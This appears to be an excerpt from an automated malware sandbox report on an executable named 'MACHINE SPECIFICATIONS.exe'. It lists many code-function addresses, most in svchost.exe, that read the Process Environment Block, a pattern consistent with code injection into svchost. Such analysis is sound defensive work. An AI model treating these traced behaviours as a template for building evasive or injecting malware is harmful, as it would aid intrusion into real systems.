Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Code function: 0_2_00CD1E70 mov eax, dword ptr fs:[00000030h]		0_2_00CD1E70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CEC3CD mov eax, dword ptr fs:[00000030h]		2_2_03CEC3CD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C3A3C0 mov eax, dword ptr fs:[00000030h]		2_2_03C3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C3A3C0 mov eax, dword ptr fs:[00000030h]		2_2_03C3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C3A3C0 mov eax, dword ptr fs:[00000030h]		2_2_03C3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C3A3C0 mov eax, dword ptr fs:[00000030h]		2_2_03C3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C3A3C0 mov eax, dword ptr fs:[00000030h]		2_2_03C3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C3A3C0 mov eax, dword ptr fs:[00000030h]		2_2_03C3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C383C0 mov eax, dword ptr fs:[00000030h]		2_2_03C383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C383C0 mov eax, dword ptr fs:[00000030h]		2_2_03C383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C383C0 mov eax, dword ptr fs:[00000030h]		2_2_03C383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C383C0 mov eax, dword ptr fs:[00000030h]		2_2_03C383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB63C0 mov eax, dword ptr fs:[00000030h]		2_2_03CB63C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CD43D4 mov eax, dword ptr fs:[00000030h]		2_2_03CD43D4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CD43D4 mov eax, dword ptr fs:[00000030h]		2_2_03CD43D4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C403E9 mov eax, dword ptr fs:[00000030h]		2_2_03C403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C403E9 mov eax, dword ptr fs:[00000030h]		2_2_03C403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C403E9 mov eax, dword ptr fs:[00000030h]		2_2_03C403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C403E9 mov eax, dword ptr fs:[00000030h]		2_2_03C403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C403E9 mov eax, dword ptr fs:[00000030h]		2_2_03C403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C403E9 mov eax, dword ptr fs:[00000030h]		2_2_03C403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C403E9 mov eax, dword ptr fs:[00000030h]		2_2_03C403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C403E9 mov eax, dword ptr fs:[00000030h]		2_2_03C403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C4E3F0 mov eax, dword ptr fs:[00000030h]		2_2_03C4E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C4E3F0 mov eax, dword ptr fs:[00000030h]		2_2_03C4E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C4E3F0 mov eax, dword ptr fs:[00000030h]		2_2_03C4E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C663FF mov eax, dword ptr fs:[00000030h]		2_2_03C663FF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2E388 mov eax, dword ptr fs:[00000030h]		2_2_03C2E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2E388 mov eax, dword ptr fs:[00000030h]		2_2_03C2E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2E388 mov eax, dword ptr fs:[00000030h]		2_2_03C2E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C5438F mov eax, dword ptr fs:[00000030h]		2_2_03C5438F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C5438F mov eax, dword ptr fs:[00000030h]		2_2_03C5438F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C28397 mov eax, dword ptr fs:[00000030h]		2_2_03C28397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C28397 mov eax, dword ptr fs:[00000030h]		2_2_03C28397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C28397 mov eax, dword ptr fs:[00000030h]		2_2_03C28397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB2349 mov eax, dword ptr fs:[00000030h]		2_2_03CB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB2349 mov eax, dword ptr fs:[00000030h]		2_2_03CB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB2349 mov eax, dword ptr fs:[00000030h]		2_2_03CB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB2349 mov eax, dword ptr fs:[00000030h]		2_2_03CB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB2349 mov eax, dword ptr fs:[00000030h]		2_2_03CB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB2349 mov eax, dword ptr fs:[00000030h]		2_2_03CB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB2349 mov eax, dword ptr fs:[00000030h]		2_2_03CB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB2349 mov eax, dword ptr fs:[00000030h]		2_2_03CB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB2349 mov eax, dword ptr fs:[00000030h]		2_2_03CB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB2349 mov eax, dword ptr fs:[00000030h]		2_2_03CB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB2349 mov eax, dword ptr fs:[00000030h]		2_2_03CB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB2349 mov eax, dword ptr fs:[00000030h]		2_2_03CB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB2349 mov eax, dword ptr fs:[00000030h]		2_2_03CB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB2349 mov eax, dword ptr fs:[00000030h]		2_2_03CB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB2349 mov eax, dword ptr fs:[00000030h]		2_2_03CB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB035C mov eax, dword ptr fs:[00000030h]		2_2_03CB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB035C mov eax, dword ptr fs:[00000030h]		2_2_03CB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB035C mov eax, dword ptr fs:[00000030h]		2_2_03CB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB035C mov ecx, dword ptr fs:[00000030h]		2_2_03CB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB035C mov eax, dword ptr fs:[00000030h]		2_2_03CB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB035C mov eax, dword ptr fs:[00000030h]		2_2_03CB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CFA352 mov eax, dword ptr fs:[00000030h]		2_2_03CFA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CD437C mov eax, dword ptr fs:[00000030h]		2_2_03CD437C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6A30B mov eax, dword ptr fs:[00000030h]		2_2_03C6A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6A30B mov eax, dword ptr fs:[00000030h]		2_2_03C6A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6A30B mov eax, dword ptr fs:[00000030h]		2_2_03C6A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2C310 mov ecx, dword ptr fs:[00000030h]		2_2_03C2C310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C50310 mov ecx, dword ptr fs:[00000030h]		2_2_03C50310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C3A2C3 mov eax, dword ptr fs:[00000030h]		2_2_03C3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C3A2C3 mov eax, dword ptr fs:[00000030h]		2_2_03C3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C3A2C3 mov eax, dword ptr fs:[00000030h]		2_2_03C3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C3A2C3 mov eax, dword ptr fs:[00000030h]		2_2_03C3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C3A2C3 mov eax, dword ptr fs:[00000030h]		2_2_03C3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C402E1 mov eax, dword ptr fs:[00000030h]		2_2_03C402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C402E1 mov eax, dword ptr fs:[00000030h]		2_2_03C402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C402E1 mov eax, dword ptr fs:[00000030h]		2_2_03C402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6E284 mov eax, dword ptr fs:[00000030h]		2_2_03C6E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6E284 mov eax, dword ptr fs:[00000030h]		2_2_03C6E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB0283 mov eax, dword ptr fs:[00000030h]		2_2_03CB0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB0283 mov eax, dword ptr fs:[00000030h]		2_2_03CB0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB0283 mov eax, dword ptr fs:[00000030h]		2_2_03CB0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C402A0 mov eax, dword ptr fs:[00000030h]		2_2_03C402A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C402A0 mov eax, dword ptr fs:[00000030h]		2_2_03C402A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CC62A0 mov eax, dword ptr fs:[00000030h]		2_2_03CC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CC62A0 mov ecx, dword ptr fs:[00000030h]		2_2_03CC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CC62A0 mov eax, dword ptr fs:[00000030h]		2_2_03CC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CC62A0 mov eax, dword ptr fs:[00000030h]		2_2_03CC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CC62A0 mov eax, dword ptr fs:[00000030h]		2_2_03CC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CC62A0 mov eax, dword ptr fs:[00000030h]		2_2_03CC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB8243 mov eax, dword ptr fs:[00000030h]		2_2_03CB8243
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB8243 mov ecx, dword ptr fs:[00000030h]		2_2_03CB8243
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2A250 mov eax, dword ptr fs:[00000030h]		2_2_03C2A250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C36259 mov eax, dword ptr fs:[00000030h]		2_2_03C36259
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C34260 mov eax, dword ptr fs:[00000030h]		2_2_03C34260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C34260 mov eax, dword ptr fs:[00000030h]		2_2_03C34260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C34260 mov eax, dword ptr fs:[00000030h]		2_2_03C34260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2826B mov eax, dword ptr fs:[00000030h]		2_2_03C2826B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CE0274 mov eax, dword ptr fs:[00000030h]		2_2_03CE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CE0274 mov eax, dword ptr fs:[00000030h]		2_2_03CE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CE0274 mov eax, dword ptr fs:[00000030h]		2_2_03CE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CE0274 mov eax, dword ptr fs:[00000030h]		2_2_03CE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CE0274 mov eax, dword ptr fs:[00000030h]		2_2_03CE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CE0274 mov eax, dword ptr fs:[00000030h]		2_2_03CE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CE0274 mov eax, dword ptr fs:[00000030h]		2_2_03CE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CE0274 mov eax, dword ptr fs:[00000030h]		2_2_03CE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CE0274 mov eax, dword ptr fs:[00000030h]		2_2_03CE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CE0274 mov eax, dword ptr fs:[00000030h]		2_2_03CE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CE0274 mov eax, dword ptr fs:[00000030h]		2_2_03CE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CE0274 mov eax, dword ptr fs:[00000030h]		2_2_03CE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2823B mov eax, dword ptr fs:[00000030h]		2_2_03C2823B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CF61C3 mov eax, dword ptr fs:[00000030h]		2_2_03CF61C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CF61C3 mov eax, dword ptr fs:[00000030h]		2_2_03CF61C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CAE1D0 mov eax, dword ptr fs:[00000030h]		2_2_03CAE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CAE1D0 mov eax, dword ptr fs:[00000030h]		2_2_03CAE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CAE1D0 mov ecx, dword ptr fs:[00000030h]		2_2_03CAE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CAE1D0 mov eax, dword ptr fs:[00000030h]		2_2_03CAE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CAE1D0 mov eax, dword ptr fs:[00000030h]		2_2_03CAE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03D061E5 mov eax, dword ptr fs:[00000030h]		2_2_03D061E5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C601F8 mov eax, dword ptr fs:[00000030h]		2_2_03C601F8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C70185 mov eax, dword ptr fs:[00000030h]		2_2_03C70185
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CEC188 mov eax, dword ptr fs:[00000030h]		2_2_03CEC188
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CEC188 mov eax, dword ptr fs:[00000030h]		2_2_03CEC188
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CD4180 mov eax, dword ptr fs:[00000030h]		2_2_03CD4180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CD4180 mov eax, dword ptr fs:[00000030h]		2_2_03CD4180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB019F mov eax, dword ptr fs:[00000030h]		2_2_03CB019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB019F mov eax, dword ptr fs:[00000030h]		2_2_03CB019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB019F mov eax, dword ptr fs:[00000030h]		2_2_03CB019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB019F mov eax, dword ptr fs:[00000030h]		2_2_03CB019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2A197 mov eax, dword ptr fs:[00000030h]		2_2_03C2A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2A197 mov eax, dword ptr fs:[00000030h]		2_2_03C2A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2A197 mov eax, dword ptr fs:[00000030h]		2_2_03C2A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CC4144 mov eax, dword ptr fs:[00000030h]		2_2_03CC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CC4144 mov eax, dword ptr fs:[00000030h]		2_2_03CC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CC4144 mov ecx, dword ptr fs:[00000030h]		2_2_03CC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CC4144 mov eax, dword ptr fs:[00000030h]		2_2_03CC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CC4144 mov eax, dword ptr fs:[00000030h]		2_2_03CC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2C156 mov eax, dword ptr fs:[00000030h]		2_2_03C2C156
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CC8158 mov eax, dword ptr fs:[00000030h]		2_2_03CC8158
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C36154 mov eax, dword ptr fs:[00000030h]		2_2_03C36154
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C36154 mov eax, dword ptr fs:[00000030h]		2_2_03C36154
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CDA118 mov ecx, dword ptr fs:[00000030h]		2_2_03CDA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CDA118 mov eax, dword ptr fs:[00000030h]		2_2_03CDA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CDA118 mov eax, dword ptr fs:[00000030h]		2_2_03CDA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CDA118 mov eax, dword ptr fs:[00000030h]		2_2_03CDA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CF0115 mov eax, dword ptr fs:[00000030h]		2_2_03CF0115
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C60124 mov eax, dword ptr fs:[00000030h]		2_2_03C60124
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB20DE mov eax, dword ptr fs:[00000030h]		2_2_03CB20DE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2A0E3 mov ecx, dword ptr fs:[00000030h]		2_2_03C2A0E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C380E9 mov eax, dword ptr fs:[00000030h]		2_2_03C380E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB60E0 mov eax, dword ptr fs:[00000030h]		2_2_03CB60E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2C0F0 mov eax, dword ptr fs:[00000030h]		2_2_03C2C0F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C720F0 mov ecx, dword ptr fs:[00000030h]		2_2_03C720F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C3208A mov eax, dword ptr fs:[00000030h]		2_2_03C3208A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CC80A8 mov eax, dword ptr fs:[00000030h]		2_2_03CC80A8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CF60B8 mov eax, dword ptr fs:[00000030h]		2_2_03CF60B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CF60B8 mov ecx, dword ptr fs:[00000030h]		2_2_03CF60B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C32050 mov eax, dword ptr fs:[00000030h]		2_2_03C32050
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB6050 mov eax, dword ptr fs:[00000030h]		2_2_03CB6050
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C5C073 mov eax, dword ptr fs:[00000030h]		2_2_03C5C073
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB4000 mov ecx, dword ptr fs:[00000030h]		2_2_03CB4000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CD2000 mov eax, dword ptr fs:[00000030h]		2_2_03CD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CD2000 mov eax, dword ptr fs:[00000030h]		2_2_03CD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CD2000 mov eax, dword ptr fs:[00000030h]		2_2_03CD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CD2000 mov eax, dword ptr fs:[00000030h]		2_2_03CD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CD2000 mov eax, dword ptr fs:[00000030h]		2_2_03CD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CD2000 mov eax, dword ptr fs:[00000030h]		2_2_03CD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CD2000 mov eax, dword ptr fs:[00000030h]		2_2_03CD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CD2000 mov eax, dword ptr fs:[00000030h]		2_2_03CD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C4E016 mov eax, dword ptr fs:[00000030h]		2_2_03C4E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C4E016 mov eax, dword ptr fs:[00000030h]		2_2_03C4E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C4E016 mov eax, dword ptr fs:[00000030h]		2_2_03C4E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C4E016 mov eax, dword ptr fs:[00000030h]		2_2_03C4E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2A020 mov eax, dword ptr fs:[00000030h]		2_2_03C2A020
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2C020 mov eax, dword ptr fs:[00000030h]		2_2_03C2C020
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CC6030 mov eax, dword ptr fs:[00000030h]		2_2_03CC6030
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C3C7C0 mov eax, dword ptr fs:[00000030h]		2_2_03C3C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB07C3 mov eax, dword ptr fs:[00000030h]		2_2_03CB07C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C527ED mov eax, dword ptr fs:[00000030h]		2_2_03C527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C527ED mov eax, dword ptr fs:[00000030h]		2_2_03C527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C527ED mov eax, dword ptr fs:[00000030h]		2_2_03C527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CBE7E1 mov eax, dword ptr fs:[00000030h]		2_2_03CBE7E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C347FB mov eax, dword ptr fs:[00000030h]		2_2_03C347FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C347FB mov eax, dword ptr fs:[00000030h]		2_2_03C347FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CD678E mov eax, dword ptr fs:[00000030h]		2_2_03CD678E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C307AF mov eax, dword ptr fs:[00000030h]		2_2_03C307AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6674D mov esi, dword ptr fs:[00000030h]		2_2_03C6674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6674D mov eax, dword ptr fs:[00000030h]		2_2_03C6674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6674D mov eax, dword ptr fs:[00000030h]		2_2_03C6674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C30750 mov eax, dword ptr fs:[00000030h]		2_2_03C30750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CBE75D mov eax, dword ptr fs:[00000030h]		2_2_03CBE75D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72750 mov eax, dword ptr fs:[00000030h]		2_2_03C72750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72750 mov eax, dword ptr fs:[00000030h]		2_2_03C72750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB4755 mov eax, dword ptr fs:[00000030h]		2_2_03CB4755
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C38770 mov eax, dword ptr fs:[00000030h]		2_2_03C38770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C40770 mov eax, dword ptr fs:[00000030h]		2_2_03C40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C40770 mov eax, dword ptr fs:[00000030h]		2_2_03C40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C40770 mov eax, dword ptr fs:[00000030h]		2_2_03C40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C40770 mov eax, dword ptr fs:[00000030h]		2_2_03C40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C40770 mov eax, dword ptr fs:[00000030h]		2_2_03C40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C40770 mov eax, dword ptr fs:[00000030h]		2_2_03C40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C40770 mov eax, dword ptr fs:[00000030h]		2_2_03C40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C40770 mov eax, dword ptr fs:[00000030h]		2_2_03C40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C40770 mov eax, dword ptr fs:[00000030h]		2_2_03C40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C40770 mov eax, dword ptr fs:[00000030h]		2_2_03C40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C40770 mov eax, dword ptr fs:[00000030h]		2_2_03C40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C40770 mov eax, dword ptr fs:[00000030h]		2_2_03C40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6C700 mov eax, dword ptr fs:[00000030h]		2_2_03C6C700
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C30710 mov eax, dword ptr fs:[00000030h]		2_2_03C30710
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C60710 mov eax, dword ptr fs:[00000030h]		2_2_03C60710
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6C720 mov eax, dword ptr fs:[00000030h]		2_2_03C6C720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6C720 mov eax, dword ptr fs:[00000030h]		2_2_03C6C720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6273C mov eax, dword ptr fs:[00000030h]		2_2_03C6273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6273C mov ecx, dword ptr fs:[00000030h]		2_2_03C6273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6273C mov eax, dword ptr fs:[00000030h]		2_2_03C6273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CAC730 mov eax, dword ptr fs:[00000030h]		2_2_03CAC730
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6A6C7 mov ebx, dword ptr fs:[00000030h]		2_2_03C6A6C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6A6C7 mov eax, dword ptr fs:[00000030h]		2_2_03C6A6C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CAE6F2 mov eax, dword ptr fs:[00000030h]		2_2_03CAE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CAE6F2 mov eax, dword ptr fs:[00000030h]		2_2_03CAE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CAE6F2 mov eax, dword ptr fs:[00000030h]		2_2_03CAE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CAE6F2 mov eax, dword ptr fs:[00000030h]		2_2_03CAE6F2
